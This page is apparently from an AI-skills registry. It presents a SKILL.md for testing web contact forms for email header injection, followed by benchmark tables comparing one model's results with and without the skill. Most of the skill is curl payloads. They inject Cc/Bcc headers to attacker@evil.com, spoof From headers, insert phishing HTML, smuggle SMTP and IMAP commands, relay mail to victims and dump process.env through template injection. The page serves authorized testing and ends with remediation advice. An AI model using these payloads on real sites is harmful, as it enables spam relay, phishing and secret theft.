Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.
.claude/skills/testing-for-email-header-injection/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-09 | ✗→✓ | ▲ Improved | — | — |
| case-02 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-13 | ✓→✓ | = Same ✓ | — | — |
bash# Identify form fields that end up in email headers: # - "From" name or email address fields # - "To" or "CC" fields in sharing features # - Subject line inputs # - Reply-To fields # Common endpoints: # POST /contact - Contact forms # POST /share - Share via email features # POST /invite - Invitation systems # POST /api/send-email - Email API endpoints # POST /forgot-password - Password reset forms # Test basic functionality first curl -X POST http://target.com/contact \ -d "name=Test&email=test@test.com&subject=Hello&message=Test message"
bash# Inject additional email headers via CRLF in the email field curl -X POST http://target.com/contact \ -d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test" # Inject BCC header curl -X POST http://target.com/contact \ -d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test" # Inject via the name field curl -X POST http://target.com/contact \ -d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test" # Inject via subject field curl -X POST http://target.com/contact \ -d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test" # Try different CRLF encoding variants # %0D%0A (CRLF) curl -X POST http://target.com/contact \ -d "email=test@test.com%0D%0ACc:attacker@evil.com" # %0A (LF only) curl -X POST http://target.com/contact \ -d "email=test@test.com%0ACc:attacker@evil.com" # %0D (CR only) curl -X POST http://target.com/contact \ -d "email=test@test.com%0DCc:attacker@evil.com" # Double encoding curl -X POST http://target.com/contact \ -d "email=test@test.com%250ACc:attacker@evil.com"
bash# Override email body by injecting Content-Type and body curl -X POST http://target.com/contact \ -d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>" # Inject additional MIME parts curl -X POST http://target.com/contact \ -d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>" # Override From header for email spoofing curl -X POST http://target.com/contact \ -d "email=test@test.com%0AFrom:ceo@target.com" # Inject Reply-To for phishing curl -X POST http://target.com/contact \ -d "email=test@test.com%0AReply-To:attacker@evil.com"
bash# IMAP command injection via email field curl -X POST http://target.com/webmail/search \ -d "query=test%0AEXAMINE INBOX" # SMTP command injection curl -X POST http://target.com/api/send \ -d "to=test@test.com%0ARCPT TO:attacker@evil.com" # SMTP VRFY command injection curl -X POST http://target.com/api/verify \ -d "email=test@test.com%0AVRFY admin" # Test SMTP relay abuse curl -X POST http://target.com/contact \ -d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"
bash# JSON API header injection curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}' # Array injection for multiple recipients curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}' # Template injection in email body curl -X POST http://target.com/api/send-email \ -H "Content-Type: application/json" \ -d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
bash# Check if injected CC/BCC emails were received # Monitor attacker@evil.com inbox for received copies # Verify header injection via email raw source # In received email, check "View Original" or "Show Headers" # Look for injected Cc:, Bcc:, From:, or Reply-To: headers # Test if the application is usable as a spam relay # by injecting multiple recipients in BCC # Document the full injection chain # 1. Injection point (which field) # 2. Encoding required (CRLF, URL encoding) # 3. Impact (spam relay, phishing, data theft)
| Concept | Description | |---------|-------------| | CRLF Injection | Injecting carriage return and line feed characters to create new email headers | | Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails | | Spam Relay | Abusing email functionality to send spam to arbitrary recipients | | Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders | | MIME Manipulation | Injecting MIME boundaries to override email body content | | SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters | | Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers |
| Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy for modifying email-related form submissions | | swaks | Swiss Army Knife for SMTP testing and header injection validation | | OWASP ZAP | Automated scanner with email injection detection | | mailhog | Local SMTP testing server for capturing injected emails | | smtp4dev | Development SMTP server for monitoring email injection results | | Nuclei | Template scanner with email header injection detection templates |
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |
| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +17 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.